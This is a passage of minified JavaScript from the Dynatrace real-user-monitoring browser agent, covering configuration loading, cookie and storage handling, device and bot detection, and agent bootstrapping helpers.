100,A.ssc=!1,A.svNB=!1,A.srad=!0,A.srbbv=1,A.srbw=!0,A.srmr=100,A.srms="1,1,,,",A.srsr=1E5,A.srtbv=3,A.srtd=1,A.srtr=500,A.srvr="",A.srvi=0,A.srwo=!1,A.srre="",A.srxcss=!0,A.srxicss=!0,A.srif=!1,A.srmrc=!1,A.srsdom=!1,A.srcss=!0,A.srmcrl=1,A.srmcrv=10,A.ssv=4,A.st=3E3,A.spc="",A.syntheticConfig=!1,A.tal=0,A.tp="500,50,3",A.tt=100,A.tvc=3E3,A.exteventsoff=!1,A.uxdce=!1,A.uxdcw=1500,A.uxrgce=!0,A.uxrgcm="100,25,300,3;100,25,300,3",A.uam=!1,A.uana="data-dtname,data-dtName",A.uanpi=0,A.pui=!1,A.usrvd=
!0,A.vrt=!1,A.vcfi=!0,A.vcit=1E3,A.vct=50,A.vcx=50,A.vscl=0,A.vncm=1,A.xb="",A.chw="",A.xt=0,A.xhb="",A);var Ta;ja();var xb;yd=Bb.XMLHttpRequest;dd=Bb.ActiveXObject;var ec=null===(xb=Bb.XMLHttpRequest)||void 0===xb?void 0:xb.prototype;if(ec)for(Kd={},w=0,M=ie;w<M.length;w++){var uc=M[w];void 0!==ec[uc]&&(Kd[uc]=ec[uc])}Ya=Bb.addEventListener;tb=Bb.removeEventListener;Sb=Bb.document.addEventListener;Ub=Bb.document.removeEventListener;Ee=Bb.setTimeout;mi=Bb.setInterval;kg||(Fe=Bb.clearTimeout,Ge=Bb.clearInterval);
var qc=Va?Va():navigator.cookieEnabled,ud=1===Oc(ba("dtAdkSettings")||(null===(Ta=lg)||void 0===Ta?void 0:Ta.getItem("dtAdkSettings"))||"").overloadState;La();if(!(!qc||ud?0:"complete"!==document.readyState||Bb.performance&&Bb.performance.timing))throw Error("Error during initCode initialization");try{lg=Bb.localStorage}catch(Xb){}$b();Jd=Vc();tf=[];me=[];Bg={};if(!kg){Bb.clearTimeout=Sc(Fe);Bb.clearInterval=Sc(Ge);kg=!0;try{Ld=Bb.sessionStorage}catch(Xb){}}var We=Math.random(),Ei=Math.random();Eg=
0!==We&&0!==Ei&&We!==Ei;if(-1!==ra(navigator.userAgent,"Googlebot")){var Ie=performance.getEntriesByType("navigation")[0];Ta=1;if(Ie){for(var Gf in Ie){var bf=Ie[Gf];"number"===typeof bf&&bf&&(Ta=1===Ta?bf:Ta+bf)}var kf=Math.floor(1E4*Ta)}else kf=Ta;Rg=af(kf)}else Eg?Rg=Math.random:Rg=af(Vc());of=Jd%Tg+"_"+U(Se(0,1E3)+"");a:{var Je=Bb.dT_.cfg;xc={reportUrl:"dynaTraceMonitor",initializedModules:"",csu:"dtagent",dataDtConfig:"string"===typeof Je?Je:""};Bb.dT_.cfg=xc;xc.csu="ruxitagentjs";var Ed=xc.dataDtConfig;
Ed&&-1===ra(Ed,"#CONFIGSTRING")&&(vb(Ed,xc),$a("domain"),$a("auto"),$a("app"),Cb(xc));var mg=eb("script"),kh=L(mg),Fd=-1===ra(xc.dataDtConfig||"","#CONFIGSTRING")?xc:null;if(0<kh)for(kf=0;kf<kh;kf++)b:{Ie=void 0;var lh=mg[kf];Gf=Fd;if(lh.attributes){var Sd=xc.csu+"_bootstrap.js";bf=/.*\/jstag\/.*\/.*\/(.*)_bs(_dbg)?.js$/;Je=Gf;var Bc=lh.src,qe=null===Bc||void 0===Bc?void 0:Bc.indexOf(Sd),fj=lh.attributes.getNamedItem("data-dtconfig");if(fj){Ed=void 0;Ta=Bc;var Zf=fj.value;ec={};xc.legacy="1";uc=/([a-zA-Z]*)_([a-zA-Z_0-9]*)_([0-9]+)/g;
Ta&&(Ed=uc.exec(Ta),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1],ec.featureHash=Ed[2],ec.agentLocation=Ta.substring(0,ra(Ta,Ed[1])-1),ec.buildNumber=Ed[3]);if(Zf){vb(Zf,ec,!0);var Fi=ec.agentUri;!Ta&&Fi&&(Ed=uc.exec(Fi),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1])}bd(ec);Ie=ec;if(!Gf)Je=Ie;else if(!Ie.syntheticConfig){Fd=Ie;break b}}Ie||(Ie=xc);if(0<qe){var Gi=qe+Sd.length+5;Ie.app=Bc.length>Gi?Bc.substring(Gi):"Default%20Application"}else if(Bc){var oi=bf.exec(Bc);oi&&(Ie.app=oi[1])}Fd=
Je}else Fd=Gf}if(Fd)for(var Cc in Fd)Object.prototype.hasOwnProperty.call(Fd,Cc)&&(mg=Cc,xc[mg]=Fd[mg]);var sc=yb();try{var uf=(Fd=lg)&&Fd.getItem(sc);if(uf){var Ae=Ha(uf),Md=vb(Ae.config||""),cf=xc.lastModification||"0",df=U((Md.lastModification||Ae.lastModification||"0").substring(0,13)),ug="string"===typeof cf?U(cf.substring(0,13)):cf;if(!cf||df>=ug)if(Md.csu=Ae.name||I("csu"),Md.featureHash=Ae.featureHash||I("featureHash"),Md.agentUri&&Cb(Md),Qb(Md,!0),Ab(Md),jb(Md),df>(xc.lastModification||0)){var Td=
Oa("auto"),gj=Oa("legacy");xc=Ba(Md);xc.auto=Td?"1":"0";xc.legacy=gj?"1":"0"}}}catch(Xb){}Qb(xc);try{var Hi=xc.ign;if(Hi&&(new RegExp(Hi)).test(Bb.location.href)){document.dT_=Bb.dT_=void 0;var re=!1;break a}}catch(Xb){}if(mc()){var pi=navigator.userAgent,Yd=pi.lastIndexOf("RuxitSynthetic");if(-1===Yd)var $f={};else{var qf=pi.substring(Yd+14);if(-1===ra(qf," c"))$f={};else{sc={};uf=0;for(var rf=qf.split(" ");uf<rf.length;uf++){var ag=rf[uf];if("c"===ag.charAt(0)){var yf=ag.substring(1),Ch=yf.indexOf("="),
Pe=yf.substring(0,Ch),Oh=yf.substring(Ch+1);Pe&&Oh&&(sc[Pe]=Oh)}}$f=sc}}qf=void 0;for(qf in $f)Object.prototype.hasOwnProperty.call($f,qf)&&$f[qf]&&(xc[qf]=$f[qf]);Ba(xc)}re=!0}if(!re)throw Error("Error during config initialization");Pd();try{Ye=Bb.dT_.disabled||!!oa("dtDisabled")}catch(Xb){}var Fg;if(!(Fg=I("agentLocation")))a:{var Vg=I("agentUri");if(Vg||document.currentScript){var F=Vg||document.currentScript.src;if(F){re=F;var P=-1===ra(re,"_bs")&&-1===ra(re,"_bootstrap")&&-1===ra(re,"_complete")?
1:2,da=F.lastIndexOf("/");for(re=0;re<P&&-1!==da;re++)F=F.substring(0,da),da=F.lastIndexOf("/");Fg=F;break a}}var xa=location.pathname;Fg=xa.substring(0,xa.lastIndexOf("/"))}Ff=Fg;Ug=I("csu")||"ruxitagentjs";"true"===ba("dtUseDebugAgent")&&0>Ug.indexOf("dbg")&&(Ug=I("debugName")||Ug+"dbg");if(!Oa("auto")&&!Oa("legacy")&&!Ye){var Qa=I("agentUri")||Of(I("featureHash")),hb;if(!(hb=Oa("async")||"complete"===document.readyState)){var Gb=Bb.navigator.userAgent,Jb=Gb.indexOf("MSIE ");hb=0<Jb?9>=parseInt(Gb.substring(Jb+
5,Gb.indexOf(".",Jb)),10):!1}if(hb)xf(Qa,Oa("async"),void 0,void 0,"dtjsagent");else{var Rb="".concat("dtjsagent","dw");document.write('<script id="'.concat(Rb,'" type="text/javascript" src="').concat(Qa,'">\x3c/script>'));document.getElementById(Rb)||xf(Qa,Oa("async"),void 0,void 0,"dtjsagent")}}ba("dtCookie")&&ka("cooO",!0);pf();ka("pVO",!!hd("dt-pVO"));ad(od);Df=18E5;Mf=Za("hvt")||216E5;y(Xe,[1]);Sg=[];Xf="dtCookie dtLatC rxvt dtAdk dtAdkSettings dtPC".split(" ");if(Oa("cg"))try{Wc(Object.getOwnPropertyDescriptor(Document.prototype,
"cookie")||Object.getOwnPropertyDescriptor(HTMLDocument.prototype,"cookie"))}catch(Xb){}}catch(Xb){try{delete Bb.dT_}catch(Dc){Bb.dT_=void 0}La()&&Bb.console.log("JsAgent initCode initialization failed!",Xb)}})(!1)})()})();
/*
 Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(){La=Object.assign||function(a){for(var b,d=1,f=arguments.length;d<f;d++){b=arguments[d];for(var l in b)Object.prototype.hasOwnProperty.call(b,l)&&(a[l]=b[l])}return a};return La.apply(this,arguments)}function gb(){return"10243220606153550"}function db(a,b){void 0===b&&(b=[]);var d=mb.dT_;d=(null===d||void 0===d?0:d.iIO)?d.iIO:null;return!(null===
d||void 0===d||!d(a,b))}function Ea(a,b,d){void 0===d&&(d=0);var f=-1;b&&(null===a||void 0===a?0:a.indexOf)&&(f=a.indexOf(b,d));return f}function Ua(a,b){if(!b)return"";var d=a+"=";a=Ea(b,d);if(0>a)return"";for(;0<=a;){if(0===a||" "===b.charAt(a-1)||";"===b.charAt(a-1))return d=a+d.length,a=Ea(b,";",a),0<=a?b.substring(d,a):b.substring(d);a=Ea(b,d,a+d.length)}return""}function Pa(a){return(db(a,9)||za(a))&&("string"===typeof a.textContent||"string"===typeof a.innerText)}function za(a){return a&&a.nodeType&&
1===a.nodeType}function ab(a){return a&&"INPUT"===a.nodeName}function ba(a){return a&&"SCRIPT"===a.nodeName}function Z(a){return!!a.syn}function Aa(a,b){var d;void 0===b&&(b=[]);if(!a||"object"!==typeof a&&"function"!==typeof a)return!1;var f="number"!==typeof b?b:[],l=null,r=[];switch("number"===typeof b?b:5){case 0:l="Array";r.push("push");break;case 1:l="Boolean";break;case 2:l="Number";break;case 3:l="String";break;case 4:l="Function";break;case 5:l="Object";break;case 6:l="Date";r.push("getTime");
break;case 7:l="Error";r.push("name","message");break;case 8:l="Element";break;case 9:l="HTMLElement";break;case 10:l="HTMLImageElement";r.push("complete");break;case 11:l="PerformanceEntry";break;case 12:l="PerformanceTiming";break;case 13:l="PerformanceResourceTiming";break;case 14:l="PerformanceNavigationTiming";break;case 15:l="CSSRule";r.push("cssText","parentStyleSheet");break;case 16:l="CSSStyleSheet";r.push("cssRules","insertRule");break;case 17:l="Request";r.push("url");break;case 18:l="Response";
r.push("ok","status","statusText");break;case 19:l="Set";r.push("add","entries","forEach");break;case 20:l="Map";r.push("set","entries","forEach");break;case 21:l="Worker";r.push("addEventListener","postMessage","terminate");break;case 22:l="XMLHttpRequest";r.push("open","send","setRequestHeader");break;case 23:l="SVGScriptElement";r.push("ownerSVGElement","type");break;case 24:l="HTMLMetaElement";r.push("httpEquiv","content","name");break;case 25:l="HTMLHeadElement";break;case 26:l="ArrayBuffer";
break;case 27:l="ShadowRoot",r.push("host","mode")}b=l;if(!b)return!1;r=r.length?r:f;if(!f.length)try{if(mb[b]&&a instanceof mb[b]||Object.prototype.toString.call(a)==="[object "+b+"]")return!0;if(za(a)){var G=null===(d=a.ownerDocument.defaultView)||void 0===d?void 0:d[b];if("function"===typeof G&&a instanceof G)return!0}}catch(ea){}for(d=0;d<r.length;d++)if(f=r[d],"string"!==typeof f&&"number"!==typeof f&&"symbol"!==typeof f||!(f in a))return!1;return!!r.length}function na(a,b,d){if(d||2===arguments.length)for(var f=
0,l=b.length,r;f<l;f++)!r&&f in b||(r||(r=Array.prototype.slice.call(b,0,f)),r[f]=b[f]);return a.concat(r||Array.prototype.slice.call(b))}function ta(a){return"function"===typeof a&&/{\s+\[native code]/.test(Function.prototype.toString.call(a))}function Ma(a,b){for(var d,f=[],l=2;l<arguments.length;l++)f[l-2]=arguments[l];return void 0!==Function.prototype.bind&&ta(Function.prototype.bind)?(d=Function.prototype.bind).call.apply(d,na([a,b],f,!1)):function(){for(var r=0;r<arguments.length;r++);return a.apply(b,
(f||[]).concat(Array.prototype.slice.call(arguments)||[]))}}function Ja(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var a=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return a}function fa(){if(mb.MobileAgent||mb.dynatraceMobile){var a=Ua("dtAdkSettings",document.cookie);return Gg.dT_.p3SC(a).privacyState||null}return null}function S(){var a=fa();return 2===a||1===a?!1:!Gg.dT_.bcv("coo")||
Gg.dT_.bcv("cooO")||Gg.dT_.iSM()}function va(a){try{if(mb.localStorage)return mb.localStorage.getItem(a)}catch(b){}return null}function ja(a){for(var b=[],d=1;d<arguments.length;d++)b[d-1]=arguments[d];return hj?hj(a,b):Mk?Mk(function(){return a.apply(this,b)}):a.apply(this,b)}function U(){if("string"!==typeof document.title){var a=mh("title")[0];return a&&(a.innerText||a.textContent)||""}return document.title}function eb(a,b,d){return a.splice(b,(d||b)-b+1||a.length)}function L(){return gk}function C(){return mb.dT_}
function H(){return p}function Q(){var a=document.location;return a?0!==yc(a.href,"http"):!0}function ia(){var a=navigator.userAgent||navigator.vendor||mb.opera&&mb.opera.version()||"";return/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i.test(a)||
/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substring(0,
4))}function W(){return"1"===navigator.doNotTrack||"yes"===navigator.doNotTrack||"1"===navigator.msDoNotTrack||"1"===mb.doNotTrack}function la(){return/(gomezagent|googlebot|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver)/i.test(navigator.userAgent)}function ua(a){return z&&db(a,13)&&"navigation"!==a.entryType||db(a,["_dtCl"])}function Ka(a){return T&&db(a,14)||db(a,["entryType","requestStart"])&&"navigation"===
a.entryType}function Hb(a){var b;if(!a)return null;var d=null===(b=a.getEntriesByType)||void 0===b?void 0:b.call(a,"navigation")[0];Ka(d)||(d=a.timing);return d}function ib(a,b){void 0===b&&(b=!1);if(!a)return null;for(var d,f=qa(a),l=0,r=ub;l<r.length;l++)if(d=aa(a,r[l],b)||-1,0<d&&d!==f)return Math.round(d);return null}function aa(a,b,d){void 0===d&&(d=!1);var f=Hb(a);if(!f)return null;b=f[b];if("number"!==typeof b||0===b)return null;a=qa(a);Ka(f)?d&&(b+=a):d||(b-=a);return Math.round(b)}function qa(a){var b;
return Math.round(a.timeOrigin||(null===(b=a.timing)||void 0===b?void 0:b.navigationStart)||-1)}function V(){return Mb}function pa(){return Kb}function Va(){return de}function nb(){return Be}function lb(){return ge}function jb(){return Nd}function Ab(a,b){a?a.id===a.ta()&&(Aj=a):Aj=b?null:Aj}function gc(a){return a?nn?nn.call(a):a.replace(/^\s+|\s+$/g,""):""}function Vb(a){try{var b=a.tagUrn;return b&&-1!==yc(b,"schemas-microsoft-com:vml")}catch(d){return!0}}function Ha(a){if(!a||-1===a.indexOf("://"))return"";
a=a.split("/")[2].split(":")[0].toLowerCase();a:{var b=0;for(var d=co;b<d.length;b++)if(0<=a.indexOf(d[b])){b=!0;break a}b=!1}return b?"":a}function yb(a){var b=0;if(a)for(var d=a.length,f=0;f<d;f++)b=31*b+a.charCodeAt(f),b&=b;return b}function vb(a,b,d){hj(ca,[a,b,d])}function ca(a,b,d){try{mb.sessionStorage.setItem(a,String(b))}catch(f){d||lf(a,String(b),void 0,hc("ssc"))}}function Oa(a,b,d){void 0===d&&(d=!0);var f=!0;try{mb.localStorage[a]=b}catch(l){f=!1,d&&lf(a,b,void 0,hc("ssc"))}return f}
function Za(a,b){try{return mb.sessionStorage[a]||""}catch(d){}return b?"":ng(a)}function I(a){var b=[];if(a)for(var d=0;d<a.length;d++){var f=a.charAt(d),l=Qm[f];l?Ob(b,l):Ob(b,f)}return b.join("")}function ka(a){if(!a)return"";for(var b="",d=0;d<a.length;d++){var f=on[a.charAt(d)+a.charAt(d+1)];f?(b+=f,d++):b+=a.charAt(d)}return b}function Ba(a){return a?ka(a).replace(/_5F/g,"_").replace(/_25/g,"%").replace(/_7C/g,"|"):""}function $a(a){if(!a)return"";a=a.replace(/_/g,"_5F").replace(/%/g,"_25").replace(/\|/g,
"_7C");return I(a)}function Cb(a){var b=[],d="";"string"===typeof a?d=a:"object"===typeof a&&a&&(d=a.toString());a=Xc("spc")+"\t\n\r";for(var f=0;f<d.length;f++){var l=d.charAt(f);-1===yc(a,l)&&Ob(b,l)}return b.join("")}function bd(){var a=mb.location;if(a){a=a.href;var b=yc(a,"#");0<=b&&(a=a.substring(0,b));return a}return"-"}function Qb(a,b){a=Math.round(a);(b||de)&&0<a&&lf("dtLatC",String(a),void 0,hc("ssc"));return a}function Zb(a,b,d,f,l){return q(a,b,d,f,!1,l)}function q(a,b,d,f,l,r){void 0===
r&&(r="win");try{var G=Ph[r]||{};G[b]=a[b];Ph[r]=G;Object.defineProperty(a,b,{get:d||function(){return G[b]},set:function(ea){G[b]=ea;f&&(ea||l)&&f.apply(a,[ea])},configurable:!0});return!0}catch(ea){}return!1}function D(a,b,d,f){if((f=f||a[b])&&Object.defineProperty&&(!p.ie||8<p.ie)){var l=d||"win";try{delete a[b]&&(a[b]=f,Ph[l]&&(Ph[l][b]=null))}catch(r){try{Object.defineProperty(a,b,{get:function(){return Ph[l]&&Ph[l][b]},configurable:!0})}catch(G){}}}}function t(a){lf("dtUseDebugAgent",a,void 0,
hc("ssc"))}function y(a){lf("dt_dbg_console",a,void 0,hc("ssc"))}function Y(a){void 0===a&&(a="TRACE");lf("dt_dbg_logfilter","level=".concat(a,"|featureHash=|fileName="),void 0,hc("ssc"))}function x(a){var b=a.match(/:([0-9]+)/);return b?b[1]:0===yc(a,"https")?"443":"80"}function oa(a){if(!a)return!1;a=gc(a).toLowerCase();0===a.indexOf("//")&&(a=location.protocol+a);var b=0===yc(location.href,"http");if(0!==yc(a,"http")||!b)return!1;if(yc(location.href,location.host)!==yc(a,location.host.toLowerCase()))return!0;
b=location.port||x(location.href);return x(a)!==b}function R(a){try{var b=document.createElement("a");b.href=a;return b.cloneNode(!0).href}catch(d){return a}}function O(){try{return p.ie||p.edge?encodeURI(mb.location.href):mb.location.href}catch(a){}return""}function wa(a){if(!a)return"";try{var b=void 0,d=R(a);if(!mb.location)return d;var f=mb.location,l=f.origin;if(!l){if(!f.protocol||!f.host)return d;l=f.protocol+"//"+f.host}var r=b=d.substring(0,l.length+1).toLowerCase()===(l+"/").toLowerCase()?
d.substring(l.length):d}catch(G){r=a,0===yc(a,"?")&&(r=mb.location.pathname+a)}return Ga(r,500)}function Ga(a,b,d,f){void 0===b&&(b=100);void 0===d&&(d=!1);void 0===f&&(f="...");return!a||a.length<=b?a:d?f+a.substring(Math.max(0,a.length-b+f.length)):a.substring(0,Math.max(0,b-f.length))+f}function Wa(a){var b=Tc("sl");return Ga(a,b)}function Eb(a,b,d){return a.apply(b,d||[])}function Lb(a,b,d,f){if(d)if(d=Ga(d,Tc("mhl")),a[f].set){var l=a[f].set(b,d);l&&l.get&&l.get(b)===d&&(a[f]=l)}else a[f][b]=
d}function Nb(a){return Object.getPrototypeOf?Object.getPrototypeOf(a):Object.__proto__===Object.prototype&&Array.__proto__===Array.prototype?a.__proto__:a.constructor?a.constructor.prototype:void 0}function ac(a){return Ra(a,"prototype")?a.prototype:Nb(a)}function rc(a){return a?a.split("?")[0]:""}function mc(){var a=qi();if(a){var b=yc(a,"-");a=-1===b?"":a.substring(0,b);if(a){b="";for(var d=0;d+1<a.length;d+=2)b+=String(a.charCodeAt(d)+a.charCodeAt(d+1));a=Math.floor(Math.abs(1E7*Math.sin(parseInt(b,
10))))}else a=0}else a=!1;return a}function Oc(){var a=Ii();return 3===a?!0:4===a?!1:!!Tc("rdnt")&&W()}function Kc(a,b,d){if(!a||!b)return[];for(var f=[],l=0;l<a.length;l+=b){if(l+b<=a.length){var r=a.slice(l,l+b);"%"===r.charAt(r.length-1)&&a.length>=l+b+1&&(r+=a.charAt(l+b),r+=a.charAt(l+b+1),l+=2);"%"===r.charAt(r.length-2)&&a.length>=l+b+2&&(r+=a.charAt(l+b),l+=1)}else r=a.slice(l);f.push(r)}if(d)for(a=f.length,b=0;b<a;b++)f[b]=d.replace(/#index#/,String(b+1)).replace(/#total#/,String(a))+f[b];
return f}function gd(a){return Array.prototype.slice.call(a)}function ma(a){return!1===a?0:"number"===typeof a?2:1}function Ca(a,b){void 0===b&&(b=Tc("rtu"));if(!a)return"";var d=Tc("rtp");if(!d||a.length>b&&2===d)a=rc(a);var f=$a(a);if(f.length>b){d=$a(Ha(a));a=a.split("/");a=a[a.length-1];var l=$a(a);if(l!==d){if(f=d+"/../"+l,b=f.length-b,0<b)if(l.length>b){b=Math.max(l.length-(b+2),0);f=Math.max(a.length-b,0);for(l=$a(a.substring(f,a.length));l.length>b;)f+=Math.ceil((l.length-b)/3),l=$a(a.substring(f,
a.length));f=d+"/../.."+l}else f=Ga(d,b,!1,".../")+l}else f=Ga(f,b,!0)}return f}function Ra(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function Sa(a,b){void 0===b&&(b=qa(mb.performance));var d=1E3*Tc("oat");return b+d>=a?a:-2}function Db(){return C().disabled&&!Z(C())}function Yb(){Z(C())||(vb("dtDisabled",!0),C().disabled=!0)}function Na(a,b){return hk(a,b)||oe(a)||""}function oc(a){if(Object.keys)return Object.keys(a);var b=[];if(a===Object(a))for(var d in a)Ra(a,d)&&b.push(d);return b}
function rb(a,b){a=Bj[a];-1<mf(a,b)||Ob(a,b)}function wb(a,b){a=Bj[a];b=mf(a,b);-1!==b&&eb(a,b)}function pc(a){for(var b=[],d=0,f=Bj[a.kind].slice();d<f.length;d++){var l=(0,f[d])(a);l&&(Ue(l,0)?b=b.concat(l):Ob(b,l))}return b}function Sc(){var a=gk,b=gb();a!==b&&rb("DEBUG_INFO_REQUESTED",function(){return{type:"miav",severity:"Warning",text:"Snippet version(".concat(a,") does not match the version of the monitoring code(").concat(b,"). Consider updating your code snippet for best compatibility.")}});
rb("DEBUG_INFO_REQUESTED",function(){return{type:"v",severity:"Info",text:"Snippet version: ".concat(a," ; Monitoring code:").concat(gb())}})}function ed(){for(var a=Ze.oa.length-1;0<=a;a--){var b=Ze.oa[a];if(b.$b()&&!b.ma||b.ma&&b.We())return b}return null}function $b(a){return Ze.actions[a]}function Ac(a,b,d,f,l,r){void 0===l&&(l=!1);void 0===r&&(r=!1);if(l)Nc(a,b,d,f,r);else{try{for(l=0;l<a.length;l++)b.call(d,a[l],l,a,function(){})}catch(ea){var G=ea}if(f)G?f.call(d,a,G):f.call(d,a);else if(G)throw G;
}}function Ic(a,b,d,f,l){void 0===f&&(f=!1);void 0===l&&(l=!1);return new ra(function(r,G){Ac(a,b,d,function(ea,ya){ya?G(ya):r(ea)},f,l)})}function Nc(a,b,d,f,l){function r(Tb){pb=Tb;qd(function(){G(Tb,ya)})}function G(Tb,Hc){if(!zb){try{4>b.length&&ob++;var zc=b.call(d,Hc[Tb],Tb,Hc,function(){function Pc(Dh){pb=Dh;qd(function(){G(Dh,ya)})}ob++;ob===Hc.length&&ea();for(var Ke=pb+1;Ke<Hc.length;Ke++)Pc(Ke)})}catch(Pc){var Ad=Pc;zc=!1}Tb=function(Pc){pb=Pc;qd(function(){G(Pc,ya)})};for(var Zd=pb+1;Zd<
Hc.length;Zd++)Tb(Zd);(!1===zc||Ad)&&ea(Ad);ob!==Hc.length||zb||ea()}}function ea(Tb){f&&!zb&&(f.apply(d,Tb?[ya,Tb]:[ya]),zb=!0)}void 0===l&&(l=!1);var ya=l?a:Array.prototype.slice.call(a),ob=0,zb=!1,pb=0;for(a=0;a<ya.length;a++)r(a);ob===ya.length&&qd(ea)}function qd(a){om||(om=!0,Zc(function(){om=!1;var b=ul;ul=[];for(var d=kc(),f=0;f<b.length&&35>kc()-d;)b[f](),f++;for(d=f;d<b.length;d++)qd(b[d])},0));ul.push(a)}function ad(a,b){if(ta(Array.prototype.filter))return Array.prototype.filter.call(a,
b);for(var d=[],f=0;f<a.length;f++){var l=a[f];b(l,f,a)&&d.push(l)}return d}function dc(a,b,d,f){void 0===f&&(f=!1);return d?new ra(function(l,r){var G=[];Ac(a,function(ea,ya){b(ea,ya,a)&&G.push(ea)},null,function(ea,ya){ya?r(G):l(G)},d,f)}):ra.resolve(ad(a,b))}function Lc(){return vl}function jd(a){a=I(a);-1===mf(pm,a)&&Ob(pm,a)}function bc(a){return-1!==mf(pm,a)}function ic(){var a=C();try{for(var b=n;b&&b!=mb;){var d=b.dT_;if(d&&"ea"in d&&d.version===gb())return d.tdto();d&&"ea"in d&&(Ji[d.version]=
1);b=b!==b.parent?b.parent:void 0}}catch(f){}return a}function Pd(){return!Ki}function af(a,b,d,f){b=ad(oc(Ji),Se);Cj.push.apply(Cj,b);0<b.length&&(b.unshift(gb()),a.av(f,"afv",b.join(",")));Ji={}}function Se(a){return 0>mf(Cj,a)}function Qd(){Ji={};try{if(n&&n!=mb){var a=n.dT_;if(a){var b=a.version;b===gb()?(Wg=a,Ki=Wg.tdto()):Ji[b]=1}}}catch(d){}Qe(af);a=C();Ki?(vl=Ki.pageId,a.Jd=Ki.Jd,Vl=Wg.gFId(),Wg.hi++):(vl=bg(),a.Jd=U());a.pageId=vl;rb("DEBUG_INFO_REQUESTED",function(){ic();var d=oc(Ji);return 0===
d.length?null:{severity:"Error",text:"Version of current agent ".concat(gb()," mismatches with version").concat(1<d.length?"s":""," ").concat(d.join(", ")," of parent frames. Make sure to use the same version on all frames to secure compatibility!"),type:"mpv"}})}function ke(){var a=ic();if(a===C()||!a.gITAID)return Wl++;a=a.gITAID();Wl=a+1;return a}function Wc(a){return a.id}function Te(){return!ed()}function Bd(a){return(a=$b(a))&&a.Ma?a:null}function Rd(a){return(a="number"===typeof a?Bd(a):a)?
a.La():""}function Xe(a,b,d){var f=Nd;d&&(f=$b(d));if(!f)return!1;f.Ne(a,b);return!0}function ye(){var a=og(!0);if(0<a.length){for(var b=[],d=0;d<a.length;d++){var f=a[d];f.frameId!==bg()&&Ob(b,f)}ij(b)}}function zd(a){if(!a)return"";var b=bg()+"h"+a,d=document.cookie,f=hk("dtPC",d);return hc("dASXH")&&f&&0<=yc(f,b)&&!Q()?"":Li()+"$"+bg()+"h"+a+"v"+qi(d)+"e0"}function ze(a){for(var b=nh.length-1;0<=b;b--)if(nh[b]===a){eb(nh,b);break}}function ne(a){if(0<Dj||a&&0<nh.length)if(a=nh.length,0<a)return nh[a-
